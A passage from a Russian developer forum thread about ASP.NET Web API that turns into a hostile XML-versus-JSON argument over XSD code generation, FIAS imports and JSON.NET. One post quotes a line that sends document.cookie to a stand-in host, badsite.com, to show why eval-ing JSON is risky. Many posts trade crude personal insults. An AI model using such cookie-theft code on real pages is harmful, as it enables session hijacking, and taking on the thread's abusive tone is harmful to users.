
Рейтинг:

0 / 0

31.05.2013, 16:53

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281815

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУЯростный Меча вообще, сама проблема несколько надуманная, мы же eval-им данные со своего сайта.
Ну я тоже так думал по поводу надуманности, пока не появились $.support.cors, screen scraping на YQL, flash прокси и JSONP.

делай по уму и не будет проблем. а JSONP легко защищается. одной строчкой кода.

...

Рейтинг:

0 / 0

31.05.2013, 16:55

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281821

Яростный Меч

Участник

Откуда: здесь была правда.<br /><br />Слоган: Делфи жив!!!

Сообщения: 30 377

Рейтинг: 0 / 0

hVosttа JSONP легко защищается. одной строчкой кода.интересно как

...

Рейтинг:

0 / 0

31.05.2013, 16:57

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281823

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

Яростный Меч,

к примеру http://habrahabr.ru/post/168461/

...

Рейтинг:

0 / 0

31.05.2013, 16:59

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281844

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУSeVaИ чем же это xml более безопасен, а json так опасен? Очередной бред?!

Очередная тема, в который ты ничерта не соображаешь.

Код: javascript

1.
2.
3.
4.
5.

 window.location = <font color="#069">"http://badsite.com?"</font> + document.cookie;
  person : { 
    <font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
    <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>
  }

SeVaКодеманки, если им студия ничего не сгенерит, то они ничего сделать не смогут. Муслима, а ты в курсе, что для своих проектов генерацией прокси никто не занимается? Уверен, что нет(см предыдущее утверждение). Мало того, wsdl прикрывают в целях безопасности
Долбосева, генерация прокси удобна не только не для своих. В крупных компаниях ведутся различные солюшены и прокидывать свои модели в отдельном солюшене никто не будет. Поэтому, опять мимо. Про wsdl поржал. Какая безопасность, акстись.

Муслима, если бы ты работал в крупных компаниях, а в не подвале в одиночестве, то ты подобную хрень здесь не изображал.
Первое - киськин бред.
Второе - еще одно подтверждение твоей никчемности. Зачем нужны прокси с одним мусором, когда уже все и так есть на руках?
А твой убогий xml используют только ламеры, тк это им генерит vs, а сами они не знают, что более пухлого формата просто нет.

...

Рейтинг:

0 / 0

31.05.2013, 17:19

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281850

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttвот вот. а знаешь зачем нужна эта кодогенерация? потому что оверхед такой, что мама дорогая. вручную писать — самоубийство.
посему — какашка она и есть.
Есть xml чуть больше 10Мб. Задача: обработать его и наполнить некий экземпляр класса T для дальнейших теходвижений.
Что я делаю. Автогенерю схему, автогенерю T класс. Беру XmlSerializer и десериализирую в сгенеренный класс T. Время: 30 секунд.
Что ты предлагаешь делать в случае с JSON, лапочка?

P.S. Вот тебе реальный класс на 3.5 тыс строк кода, используется для реальной сложной интеграции двух систем. Я его автоматически сгенерил за секунду. Сколько лет ты будешь писать аналог на JSON?

...

Рейтинг:

0 / 0

31.05.2013, 17:22

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281854

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVaМуслима, если бы ты работал в крупных компаниях, а в не подвале в одиночестве, то ты подобную хрень здесь не изображал.
Долбосева, если бы ты имел хоть грамм мозгов, ты бы такие глупые вопросы не задавал.

SeVaПервое - киськин бред.
Аргументами убил наповал. Как обычно, вообщем.

SeVaВторое - еще одно подтверждение твоей никчемности. Зачем нужны прокси с одним мусором, когда уже все и так есть на руках?
А твой убогий xml используют только ламеры, тк это им генерит vs, а сами они не знают, что более пухлого формата просто нет.
Тупая кодеманка, выше привел пример с xsd.

...

Рейтинг:

0 / 0

31.05.2013, 17:23

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281857

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttМСУпропущено...

Ну я тоже так думал по поводу надуманности, пока не появились $.support.cors, screen scraping на YQL, flash прокси и JSONP.

делай по уму и не будет проблем. а JSONP легко защищается. одной строчкой кода.
Не убедительный ответ.

...

Рейтинг:

0 / 0

31.05.2013, 17:25

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281878

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

Схватился за живот. Вот тут долбосева отжигает 14377177

...

Рейтинг:

0 / 0

31.05.2013, 17:37

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281879

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУ,

Открой уже для себя наконец http://james.newtonking.com/projects/json-net.aspx

А с XML уже давно приятней работать через XML to LINQ.

Если XML 10 Мб и больше, уже пора задуматься, правильный ли транспорт выбран? Для транспорта огромных массивов данных XML — плохая, отвратительная идея. Как в прочем и JSON. Бинарный формат. Для порций тот же SQLite контейнер аще сказка.

...

Рейтинг:

0 / 0

31.05.2013, 17:37

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281890

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

Код: c#

Product deserializedProduct = JsonConvert.DeserializeObject<Product>(json);

одна строчка кода. как сложно-то.

...

Рейтинг:

0 / 0

31.05.2013, 17:43

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281893

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttМСУ, Открой уже для себя наконец http://james.newtonking.com/projects/json-net.aspx

1. Ты к чему это ляпнул? Тем более в дотнете есть родной DataContractJsonSerializer. RTFM.
2. Ты меня опять не понял. Ты через json-конвертер конвертерируешь json строку или файл в модель. А модель у тебя откуда? Самому писать? Я ж тебе привел модель на 3.5K строк кода. А тебе придется ее писать руками.

hVosttА с XML уже давно приятней работать через XML to LINQ.
С XML приятно работать и с LINQ тоже.

hVosttЕсли XML 10 Мб и больше, уже пора задуматься, правильный ли транспорт выбран?
Правильный. 10Мб у меня трансформируются в экземпляр через сериализатор за 0.5 сек и через SqlBulkCopy уходит в таблтцу БД. На всё про всё - 1 секунда.

hVosttДля транспорта огромных массивов данных XML — плохая, отвратительная идея. Как в прочем и JSON. Бинарный формат. Для порций тот же SQLite контейнер аще сказка.
Огромных - да. 10Мб - это не огромный размер.

...

Рейтинг:

0 / 0

31.05.2013, 17:45

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281896

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVostt

Код: c#

Product deserializedProduct = JsonConvert.DeserializeObject<Product>(json);

одна строчка кода. как сложно-то.

Жжёшь Как же с тобой трудно...

...

Рейтинг:

0 / 0

31.05.2013, 17:45

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281902

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVostt, вот тебе базы данных фиаса (альтернатива кладра): http://fias.nalog.ru/Public/DownloadPage.aspx
Месячные дельты данных ~20Мб (архив по ~1 мегабайту). И всё отлично.
Интегрироваться с таким сервисом проще пареной репы. Вот у них схема на 16 метров: http://fias.nalog.ru/Public/Docs/Выгрузка из ФИАС в XML xsd схемы.zip
Кодогенерируем классы и всё готово. Никакого ручного кодирования по трансформации данных.

С случае же JSON ты бы упоролся изучать этот бред и писать руками модели.

...

Рейтинг:

0 / 0

31.05.2013, 17:50

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281903

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУ,

то, что даёт на выходе xds.exe — жалкое зрелище.

1. нет поддержки Nullable — вместо этого XXXSpecified — ппц
2. коллекции с разными типами у нас тупо object[]
3. автопроперти нетю... реализация xsd2code вообще тупит

короче отстой.

если ты незнаешь с какой моделью ты работаешь, что ж за код ты пишешь тогда?

в случае с JSON, если можно через 10 секунд уже работать с dynamic в чем вопрос?

нагенерить классов? я смотрю ты просто тащишься от кодогерации
может ты как программист и не нужен вовсе? нужен большой кодогенератор, создающий программу по ТЗ заказчика автоматически.

...

Рейтинг:

0 / 0

31.05.2013, 17:51

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281907

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУhVostt, вот тебе базы данных фиаса (альтернатива кладра): http://fias.nalog.ru/Public/DownloadPage.aspx
Месячные дельты данных ~20Мб (архив по ~1 мегабайту). И всё отлично.
Интегрироваться с таким сервисом проще пареной репы. Вот у них схема на 16 метров: http://fias.nalog.ru/Public/Docs/Выгрузка из ФИАС в XML xsd схемы.zip
Кодогенерируем классы и всё готово. Никакого ручного кодирования по трансформации данных.

С случае же JSON ты бы упоролся изучать этот бред и писать руками модели.

в любом случае придется изучать, что там внутри. с кодогенерацией или без.
с фиас уже давно работаю, кстати, обошёлся без их схемы для генерации кода.
беру то, что нужно без всяких проблем. тоже самое было бы, если б они отдавали JSON, но объёмы были бы существенно меньше. на порядок я бы сказал.

...

Рейтинг:

0 / 0

31.05.2013, 17:53

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281914

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttМСУ, то, что даёт на выходе xds.exe — жалкое зрелище.
Если не осилил, то да.

hVostt1. нет поддержки Nullable — вместо этого XXXSpecified — ппц
Садись, два.

Код: xml

<xs:element name="Port" type="xs:int" nillable="true" />

Код: c#

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.

private System.Nullable<int> portField;
[System.Xml.Serialization.XmlElementAttribute(IsNullable = true)]
public System.Nullable<int> Port {
    get {
        return this.portField;
    }
    set {
        this.portField = value;
    }
}

hVostt2. коллекции с разными типами у нас тупо object[]
И это правильно. Умей проектировать xsd схемы. Гадать на кофейной гуще никто не будет.

hVostt3. автопроперти нетю... реализация xsd2code вообще тупит
Фиолетово на автосвойства. Мне время дороже, сгенерил и забыл.

hVosttкороче отстой.
Альтернатива? Писать руками класс в 3.5K кода для JSON?

hVosttесли ты незнаешь с какой моделью ты работаешь, что ж за код ты пишешь тогда?
Выйди из сумрака. Я знаю с какой моделью нужно работать, вопрос в том, кто и закое время мне ее напишет. Видел сайт фиаса? За сколько месяцев ты напишешь классы? Я их сгенерю по схеме за 3 секунды.

hVosttв случае с JSON, если можно через 10 секунд уже работать с dynamic в чем вопрос?
Я плакал... Динамическое ковыряние в нетипизированной модели - уволить без выплаты заработной платы.

hVosttнагенерить классов? я смотрю ты просто тащишься от кодогерации
может ты как программист и не нужен вовсе? нужен большой кодогенератор, создающий программу по ТЗ заказчика автоматически.
Ты просто начинающий ламер :)

...

Рейтинг:

0 / 0

31.05.2013, 17:58

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281916

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttв любом случае придется изучать, что там внутри. с кодогенерацией или без.
Изучать != писать

hVosttс фиас уже давно работаю, кстати, обошёлся без их схемы для генерации кода.
беру то, что нужно без всяких проблем. тоже самое было бы, если б они отдавали JSON, но объёмы были бы существенно меньше. на порядок я бы сказал.
Вот тут подробнее, выделил красным. Покажи кодом, как ты работаешь? :)

...

Рейтинг:

0 / 0

31.05.2013, 18:00

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281921

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

Что-то не пойму как связан WebAPI и ФИАС. Парни, о чём срач?

...

Рейтинг:

0 / 0

31.05.2013, 18:05

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281923

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУhVostt1. нет поддержки Nullable — вместо этого XXXSpecified — ппц
Садись, два.

Код: xml

<xs:element name="Port" type="xs:int" nillable="true" />

Ну и кто это для тебя делать будет? ФИАС не стали.

МСУhVosttкороче отстой.
Альтернатива? Писать руками класс в 3.5K кода для JSON?

Пиши для того, что тебе нужно. Зачем тебе ВСЁ?
Всё равно тебе с этими классами надо будет работать по определенному
алгоритму. Для решений «наскоряк» dynamic на порядок быстрее чем квест
с генерацией.

МСУhVosttесли ты незнаешь с какой моделью ты работаешь, что ж за код ты пишешь тогда?
Выйди из сумрака. Я знаю с какой моделью нужно работать, вопрос в том, кто и закое время мне ее напишет. Видел сайт фиаса? За сколько месяцев ты напишешь классы? Я их сгенерю по схеме за 3 секунды.

Я буду брать только то, что мне нужно.
Если я не знаю, то и не работаю с этим, и вообще теряется весь смысл.

МСУhVosttв случае с JSON, если можно через 10 секунд уже работать с dynamic в чем вопрос?
Я плакал... Динамическое ковыряние в нетипизированной модели - уволить без выплаты заработной платы.

Зато это работает. И сразу. Если тебе приставили дуло к виску и засекли 30 секунд, я посмотрю как ты побежишь заниматься кодогенерации. В других случаях действует правило проектирование, которое гласит: «ЗНАЙ М.. Т..Ю с чем ты работаешь!»

...

Рейтинг:

0 / 0

31.05.2013, 18:08

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281927

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУhVosttс фиас уже давно работаю, кстати, обошёлся без их схемы для генерации кода.
беру то, что нужно без всяких проблем. тоже самое было бы, если б они отдавали JSON, но объёмы были бы существенно меньше. на порядок я бы сказал.
Вот тут подробнее, выделил красным. Покажи кодом, как ты работаешь? :)

Суть такая: данные напрямую заливаются в БД из XML, те что нужны.
Генерить для одной единственной операции, где мы тупо переносим данные из XML — глупо.

...

Рейтинг:

0 / 0

31.05.2013, 18:14

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281937

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

skyANAЧто-то не пойму как связан WebAPI и ФИАС. Парни, о чём срач? да уж...

тема потеряна? говорили о выборе платформы для реализации rest api!!! не более. ))

...

Рейтинг:

0 / 0

31.05.2013, 18:24

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281941

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

a_titeev,

WebAPI рулит!

...

Рейтинг:

0 / 0

31.05.2013, 18:27

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281955

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

hVostta_titeev,

WebAPI рулит! посмотрим еще :) я пока понял что вещь необкатанная, поэтому буду проверять и сравнивать. посмотрю как будет проходить пиковые нагрузки - закрытие месяца. если устроит, наверное оставлю его.

...

Рейтинг:

0 / 0

31.05.2013, 18:42

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281973

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

a_titeev, а при пиковых нагрузках надо больше читать или писать?

...

Рейтинг:

0 / 0

31.05.2013, 19:02

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38282000

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУ,

вот если бы ещё xsd.exe умел доставать xs:documentation и сувать их в /// <summary> — цены бы ему небыло :)

...

Рейтинг:

0 / 0

31.05.2013, 19:34

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38282116

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

skyANA,

больше писать. отчетность + передача фотоотчетов

...

Рейтинг:

0 / 0

31.05.2013, 22:34

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38283216

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttНу и кто это для тебя делать будет? ФИАС не стали.
Если не стали, значит не предусматривается нуллейбл. Не вижу причин паники.

hVosttМСУАльтернатива? Писать руками класс в 3.5K кода для JSON?

Пиши для того, что тебе нужно. Зачем тебе ВСЁ?

В том-то и дело, мне нужна вся информация в xml.

hVosttДля решений «наскоряк» dynamic на порядок быстрее чем квест с генерацией.
Во-первых, мне не нужны решения "наскоряк", мне нужно стабильное типизированное решение. Во-вторых, покажи, как ты динамиком с xml работаешь, очень хочется посмотреть на этот гавнокод.

hVosttЯ буду брать только то, что мне нужно.
Если я не знаю, то и не работаю с этим, и вообще теряется весь смысл.
Представь, что нужно всё. Либо представь, что нужно 80%. Ты будешь не 3.5К хардкода писать, а 3К? Замечательно.

hVosttМСУВот тут подробнее, выделил красным. Покажи кодом, как ты работаешь? :)
Суть такая: данные напрямую заливаются в БД из XML, те что нужны.
Генерить для одной единственной операции, где мы тупо переносим данные из XML — глупо.
Код с динамиком ты так и не показал...

P.S. Основное достоинство XML это то, что есть возможность применить схемы XSD и декларативную трансформацию XSLT. JSON удобен только для небольших пачек данных от браузера к серверу и обратно. Для интеграции JSON курит в сторонке.

...

Рейтинг:

0 / 0

03.06.2013, 10:01

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38283382

evgen12345

Гость

МСУ,

возможно они просто не работали с SOA и не понимают до конца тех проблем а видят только задачу передачи данных во View от сервера, если так то доводы в пользу JSON понятны - здесь он дествительно рулит.

а МСУ говорит о задачах когда данные передаются между серверами, могут передоваться широко вещательно (событийная модель), вопрос валидации данных встает очень остро еще на уровне их отправки, иммено тут нужен xml и его возможности xsd, xslt и т.д. Так как нельзя допускать передачу данных если они не валидные проверять валидность после трансформации и т.д.

...

Рейтинг:

0 / 0

03.06.2013, 11:42

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38283401

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

evgen12345МСУ, возможно они просто не работали с SOA и не понимают до конца тех проблем а видят только задачу передачи данных во View от сервера, если так то доводы в пользу JSON понятны - здесь он дествительно рулит.
О том и речь. Оба формата нужны, каждый под свою задачу. Но hVostt опять жжёт своим незнанием предметики.

...

Рейтинг:

0 / 0

03.06.2013, 11:49

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38283818

пробегалло

Гость

Обсуждение технологий применит к сфер коню известно где.

За исключением редких реверансов:МСУ... Оба формата нужны, каждый под свою задачу....

извест притча Слепые и слон

...

Рейтинг:

0 / 0

03.06.2013, 15:06

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38283822

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

пробегалло, что-то ляпнул и нормально. Что ляпнул - не важно, главное, что ляпнул.

...

Рейтинг:

0 / 0

03.06.2013, 15:09

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284010

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУпробегалло, что-то ляпнул и нормально. Что ляпнул - не важно, главное, что ляпнул.

Тебе правильно сказали, что ты не держался даже за хвост, а умничаешь про хобот.
Какие еще xsd(web api работает с типизированными данными, а xml/json на выходе только за счет сериализаторов)? xslt только тебе уперлись, а широковещательной рассылки там никогда не было, тк это функционал signalr

...

Рейтинг:

0 / 0

03.06.2013, 17:06

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284032

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVaТебе правильно сказали, что ты не держался даже за хвост, а умничаешь про хобот.
Проблема в том, что ты ни за что не держишься и не умничаешь. Ты только срешь бешеным напалмом всякую феерическую дурь, которая не выдерживает даже критики. А в остальном всё хорошо.

SeVaКакие еще xsd(web api работает с типизированными данными, а xml/json на выходе только за счет сериализаторов)? xslt только тебе уперлись, а широковещательной рассылки там никогда не было, тк это функционал signalr
У тебя в твоей помойке (читай голове) смешалось в кучу всё, кони, люди, кирпичи. Но для танкистов напомню, что речь идет о XML vs JSON, а не о Web API. SignalR зачем-то сюда приплел... У меня складывается впечатление, что ты заходишь сюда только чтобы погадить. Ни ума ни фантазии.

...

Рейтинг:

0 / 0

03.06.2013, 17:15

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284074

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУP.S. Основное достоинство XML это то, что есть возможность применить схемы XSD и декларативную трансформацию XSLT. JSON удобен только для небольших пачек данных от браузера к серверу и обратно. Для интеграции JSON курит в сторонке.

Можно и без web api.
1. xsd совершенно не нужны, более того, они вредны и дают значительные тормоза, если следовать рекомендациям ms и использовать serializator'ы для типизированных данных.
2. объем передачи данных xml превышает json в два раза, а используемой памяти в четыре. Поэтому те, кто в танке стараются избегать этой гадости.

...

Рейтинг:

0 / 0

03.06.2013, 17:33

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284141

Antonariy

Участник

Откуда: ☭

Сообщения: 80 221

Рейтинг: 0 / 0

SeVa xsd совершенно не нужныУ меня есть две задачи, в которых без xsd совершенно никак. Вернее в одной никак, а во второй очень-очень хреново без xsd.

1) Импорт разного хлама в БД. В специальную папочку забрасываются xml-файлы, сервис их подбирает, с помощью xsd определяет, что за фигню набросали, и выполняет соответствующие хранимые процедуры импорта.
2) Формальное описание языка разметки. Причем, подключив еще пару автогенеренных из EF-классов xsd, его можно расширить объектами текущей модели. Интеллисенс все это дело подхватывает и невозбранно подсказывает, что и где писать.

...

Рейтинг:

0 / 0

03.06.2013, 17:59

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284152

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVa1. xsd совершенно не нужны, более того, они вредны и дают значительные тормоза
Ну, разве что, только в голове. И при наличии кривых рук. В остальных случаях сериализация и десериализация происходит на считанные доли секунд. У меня интеграционный XML файл более 10М десериализуется в класс порядка 3.5К кода за 0.3 секунды. Про какие значительные тормоза идет речь для меня загадка.

SeVa2. объем передачи данных xml превышает json в два раза, а используемой памяти в четыре. Поэтому те, кто в танке стараются избегать этой гадости.
Для сложных конструкций и нетривиальных структур обмена, наличие понятной схемы xsd (по которой можно и кодогенерацию прокси строить) на порядки важнее сэкономленных килобайт. Если танкисты это до сих пор не поняли, это их проблемы.

...

Рейтинг:

0 / 0

03.06.2013, 18:04

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284183

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

AntonariySeVa xsd совершенно не нужныУ меня есть две задачи, в которых без xsd совершенно никак. Вернее в одной никак, а во второй очень-очень хреново без xsd.

1) Импорт разного хлама в БД. В специальную папочку забрасываются xml-файлы, сервис их подбирает, с помощью xsd определяет, что за фигню набросали, и выполняет соответствующие хранимые процедуры импорта.
2) Формальное описание языка разметки. Причем, подключив еще пару автогенеренных из EF-классов xsd, его можно расширить объектами текущей модели. Интеллисенс все это дело подхватывает и невозбранно подсказывает, что и где писать.

1. Если я правильно понял, то устраиваем общую свалку, далее методом перебора с помощью xsd пытаемся определить, что же там лежит. Как-то не очень вкусно пахнет.
2. xml что-то совсем не наблюдается, один xsd

...

Рейтинг:

0 / 0

03.06.2013, 18:19

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284221

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУSeVa1. xsd совершенно не нужны, более того, они вредны и дают значительные тормоза
Ну, разве что, только в голове. И при наличии кривых рук. В остальных случаях сериализация и десериализация происходит на считанные доли секунд. У меня интеграционный XML файл более 10М десериализуется в класс порядка 3.5К кода за 0.3 секунды. Про какие значительные тормоза идет речь для меня загадка.

SeVa2. объем передачи данных xml превышает json в два раза, а используемой памяти в четыре. Поэтому те, кто в танке стараются избегать этой гадости.
Для сложных конструкций и нетривиальных структур обмена, наличие понятной схемы xsd (по которой можно и кодогенерацию прокси строить) на порядки важнее сэкономленных килобайт. Если танкисты это до сих пор не поняли, это их проблемы.

1. Для меня загадка - какое ты имеешь отношение к ИТ. 3.5К говнокода в одном классе - это сильно. У тебя большая, усидчивая задница.
2.Твои тупые партизаны в лесу еще не поняли, что одно дело это генерация прокси, а совсем другое - формат передачи данных, который может быть любой

...

Рейтинг:

0 / 0

03.06.2013, 18:41

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284273

Antonariy

Участник

Откуда: ☭

Сообщения: 80 221

Рейтинг: 0 / 0

SeVa1. Если я правильно понял, то устраиваем общую свалку, далее методом перебора с помощью xsd пытаемся определить, что же там лежит. Как-то не очень вкусно пахнет.Все правильно, за исключением свалки. FSW следит за папкой, как только в нее падает xml-файл, сервис его прогоняет набором xsd, импортирует и удаляет, если нашлась подходящая схема. "Свалка" 99% процентов времени чиста как свежий снег.

Фишка этого способа в том, что для импорта объектов нового вида нужно написать простенький xsd (описание всех сущностей для идентификации не требуется) + хранимку, а сам сервис трогать не нужно, в нем нет бизнес-логики. То есть не надо билдить, собирать дистр, и устраивать свистопляску с переустановкой, вся логика в открытом коде.

Ну и чем запах не угодил-то?

SeVa2. xml что-то совсем не наблюдается, один xsdВот пример вью+контроллера (в терминах мвц, насколько я их понимаю), правда объекты модели здесь не задействованы. Содержимое GML:DATA набрано с помощью интеллисенса, работающего на основании xmlns:GML.

Код: xml

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.

<?xml version="1.0" encoding="utf-8" ?>
<GML:TEMPLATE xmlns:GML="http://tempuri.org/gml">
  <GML:STYLESHEET BUILTIN="true">
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:msxsl="urn:schemas-microsoft-com:xslt" exclude-result-prefixes="msxsl">
      <xsl:output method="text"/>
      <xsl:include href="inc_layout.xsl" />
      <xsl:template match="PAGE">
        <div class="content_16 pagename">
          <div class="grid_16">
            <p style="font-size:12pt;"><xsl:value-of select="News/*/@AddTime"/></p>
            <xsl:value-of select="News/*/@Title"/>
          </div>
          <div class="clear"></div>
        </div>
        <div class="content_16 new_block">
          <div class="grid_16 viewnews">
            <xsl:value-of select="News/*/@Text" disable-output-escaping="yes"/>
          </div>
        </div>
      </xsl:template>
    </xsl:stylesheet>
  </GML:STYLESHEET>
  <GML:DATA ROOTTAG="UWS">
    <GML:INCLUDE>INC_HEAD.XML</GML:INCLUDE>
    <GML:INCLUDE>INC_SETTINGS.XML</GML:INCLUDE>
    <GML:BLOCK TAG="UWSBODY">
      <GML:INCLUDE>INC_LAYOUT.XML</GML:INCLUDE>
      <GML:BLOCK TAG="PAGE">
        <GML:RS TYPE="QUERY" SOURCE="tblNews" TAG="News" FORXML="RAW" FILTER="^NewsID" FIELDS="AddTime, Title, Text"/>
      </GML:BLOCK>
    </GML:BLOCK>
  </GML:DATA>
</GML:TEMPLATE>

...

Рейтинг:

0 / 0

03.06.2013, 19:21

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38284666

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVa1. Для меня загадка - какое ты имеешь отношение к ИТ. 3.5К говнокода в одном классе - это сильно. У тебя большая, усидчивая задница.
2.Твои тупые партизаны в лесу еще не поняли, что одно дело это генерация прокси, а совсем другое - формат передачи данных, который может быть любой
1. Для меня загадка, твой кухарский опыт не выдерживает никакой критики. На лицо не только незнание и безопытность, а так же и полная деградация. В аттаче схема xsd от внешних поставщиков на 0.5К строк, очень замороченный и специфичный пакет xml для интеграции получается. Размер порядка 10-15М. По такому xsd получается *.cs класс на 3.5К кода, который я демонстрировал в предыдущих постах. JSON тут курит в сторонке в принципе, т.к. писать прокси класс руками - проще убить себя об стену.
2. А твои тупые извилины еще не поняли, что генерация прокси зависит от схемы, которую JSON не поддерживает? Писать классы на каждый чих и поддерживать их при модификации схемы обмена - ад. В случае кодогенерации я нажал перегенерировать класс и получил новую обменную версию, не заморачиваясь на том, что именно и как изменилось. Последующий ребилд класса покажет ошибки, если они есть. Я автоматом получаю класс и сосредоточен на прикладной задаче, а не на ковырянии в файлах.

...

Рейтинг:

0 / 0

04.06.2013, 09:28

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38285020

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУ,

применительно к ФИАС десериализация через xsd не упала нафиг, ибо гигабайты данных (от 1 до 8) пихать в память это расточительство, медленно, ненужно, профита никакого нет, один гемор. перенос данных SAX-ом в базу гигабайтных XML занимает минуту, десериализацией — запаришься ждать.

кроме того, те классы, что генерятся, отстой и неюзабельно. половина ненужного совершенно оверхеда. типизация на уровне яселек, как будто писали программеры, впервый раз дорвавшиеся до компьютера, до этого жившие в деревне в обнимку с медведями.

на счет SOA и WSDL — выбор этих технологий для использования по собственной воле — это надо быть долбанутым на всю башню, либо накуриться веника, запив ведром дешевого портвейна. одно дело необходимость в интеграции с существующим говном, другое — писать, что это типа крутые вещи «для своих задач» — полное отсутствие понимание сути + идеотизм помноженный на 2.

...

Рейтинг:

0 / 0

04.06.2013, 12:50

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38285061

SeVa

Участник

Откуда: Москва

